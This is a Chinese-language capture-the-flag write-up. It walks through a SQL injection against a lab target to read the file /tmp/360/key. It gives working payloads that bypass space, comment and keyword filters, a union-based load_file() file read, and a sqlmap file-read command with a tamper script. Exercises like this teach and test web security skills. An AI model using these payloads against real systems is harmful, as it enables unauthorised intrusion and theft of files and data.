目錄
- 回顯判斷注入點
- 確定過濾類型
- 各種繞過姿勢注入
0x00環境介紹
目標地址: http://172.16.12.100:81
注入要求:通過SQL注入漏洞讀取/tmp/360/key文件,答案就在文件中。
0x01滲透思路
進入答題后,顯示為使用select * from article where id= ('1')提交表單后得到的信息,已經知道id輸入的參數值為字符,不需要進行判斷;已經少了判斷字符型,數字型和閉合方式的步驟。
1.回顯判斷注入點
基本思路:因為sql語句中閉合的方式是’),那直接使用’)閉合查看是否會回顯錯誤;
payload:http://172.16.12.100:81/vulnerabilities/fu1.php?id=1')回顯出錯,存在注入點;
2.判斷sql語句中被過濾類型
sql語句:http://172.16.12.100:81/vulnerabilities/fu1.php?id=1’) order by 5#回顯正常,一直嘗試增加判斷的列數還是一樣,未出現報錯情況;也就是說明該條sql語句未被執行,猜測應該是過濾了空格、#、order等;
嘗試使用注釋/**/代替空格,使用%23代替#,再次輸入sql語句,查看回顯情況;這一步可以多嘗試,組合測試,最終得到過濾類型。
‘)/**/order/**/by/**/5%23回顯錯誤
‘)/**/order/**/by/**/4%23回顯正常,空格不適用注釋/**/代替回顯錯誤,基本說明瀏覽器無法識別#,且把空格過濾。
過濾類型:目前知道注釋#不可用,空格被過濾;
保證sql語句的完整性基本操作:前邊閉合’),后邊注釋。
3.判斷列數
a.直接查詢看回顯
')/**/uniunionon/**/select/**/1,2,3%23 錯誤
')/**/uniunionon/**/select/**/1,2,3,4%23正確,那么列數就是4
回顯錯誤:
回顯正確:
b.使用order by n判斷列數
order by n:小於等n正常,大於n錯誤,列數就是n
')/**/order/**/by/**/5%23錯誤
')/**/order/**/by/**/4%23正確,列數為4
4.判斷回顯位
前表出錯方法有兩種:
1)and 1=2
2)id=1改為id=-1 參數值前加負號
payload:id=-1')/**/uniunionon/**/select/**/1,2,3,4%23
根據回顯內容,明顯2,3,4都可以回顯內容;
5.讀取key
讀取key的sql語句:load_file('/tmp/360/key')
payload:id=-1')/**/uniunionon/**/select/**/1,load_file('/tmp/360/key'),3,4%23
0x02總結
1)除了可以直接讀文件,也可以查一些數據庫,用戶信息等:
user()當前用戶
database()當前庫名
version()版本
2)使用sqlmap也可以完成本次注入;
使用sqlmap下的/tamper:近60個腳本
顯示詳細payload: -v 3
基於真假判斷:--level 3
sqlmap注入payload:sqlmap.py -u "http://ip:81/vulnerabilities/fu1.php?id=1" --file-read=/tmp/360/key --tamper "space2hash.py"
3)繞過方法可以看另一篇sql注入常見繞過姿勢。